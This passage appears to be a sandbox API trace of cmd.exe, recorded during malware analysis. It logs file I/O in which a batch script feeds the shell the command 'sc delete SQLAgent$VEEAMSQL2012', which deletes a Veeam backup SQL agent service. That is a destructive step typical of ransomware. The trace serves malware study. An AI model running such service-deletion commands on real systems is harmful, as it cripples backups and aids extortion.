GetProcessHeap () returned 0x240000 [0076.095] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0076.095] GetProcessHeap () returned 0x240000 [0076.095] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0076.095] GetProcessHeap () returned 0x240000 [0076.095] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0076.095] GetProcessHeap () returned 0x240000 [0076.095] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0076.095] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0076.095] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.095] GetFileType (hFile=0x120) returned 0x3 [0076.095] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.095] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0076.095] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0076.095] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0076.095] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0076.095] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0076.096] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0076.096] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.096] GetFileType (hFile=0x120) returned 0x3 [0076.096] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.096] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0076.096] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0076.096] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.096] GetFileType (hFile=0xb8) returned 0x3 [0076.096] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.096] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.096] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.096] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0076.096] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.096] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.096] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.096] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0076.096] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.096] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.096] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0076.097] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.097] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.097] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0076.097] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.097] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.097] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0076.097] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.097] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.097] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0076.097] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.097] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.097] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0076.097] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.097] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.098] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.098] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0076.098] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.098] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.098] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.098] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0076.098] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.098] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.098] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.098] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0076.098] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.098] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.098] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.098] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="MQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0076.098] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.098] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.098] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.098] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="SLAgent\n$VEEAMSQL2012\"\n") returned 1 [0076.098] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.098] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.099] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.099] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="SAgent\n$VEEAMSQL2012\"\n") returned 1 [0076.099] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.099] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.099] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.099] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="Qgent\n$VEEAMSQL2012\"\n") returned 1 [0076.099] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.099] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.099] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.099] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="Lent\n$VEEAMSQL2012\"\n") returned 1 [0076.099] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.099] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.099] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.099] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="Snt\n$VEEAMSQL2012\"\n") returned 1 [0076.099] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.099] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.100] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="et\n$VEEAMSQL2012\"\n") returned 1 [0076.100] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.100] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.100] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="r\n$VEEAMSQL2012\"\n") returned 1 [0076.100] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.100] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.100] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="v$VEEAMSQL2012\"\n") returned 1 [0076.100] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.100] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.100] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="eVEEAMSQL2012\"\n") returned 1 [0076.101] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.101] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.101] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="rEEAMSQL2012\"\n") returned 1 [0076.101] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.101] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.101] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="AEAMSQL2012\"\n") returned 1 [0076.101] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.101] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.101] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="DAMSQL2012\"\n") returned 1 [0076.101] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.101] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.101] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="HMSQL2012\"\n") returned 1 [0076.101] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.101] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.101] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="eSQL2012\"\n") returned 1 [0076.102] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.102] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.102] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="lQL2012\"\n") returned 1 [0076.102] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.102] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.102] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="pL2012\"\n") returned 1 [0076.102] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.102] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.102] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="e2012\"\n") returned 1 [0076.102] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.102] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.102] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e358, cchWideChar=1 | out: lpWideCharStr="r012\"\n") returned 1 [0076.102] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.102] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.103] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35a, cchWideChar=1 | out: lpWideCharStr="112\"\n") returned 1 [0076.103] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.103] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.103] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35c, cchWideChar=1 | out: lpWideCharStr="02\"\n") returned 1 [0076.103] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.103] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.103] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35e, cchWideChar=1 | out: lpWideCharStr="0\"\n") returned 1 [0076.103] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.103] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.103] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, 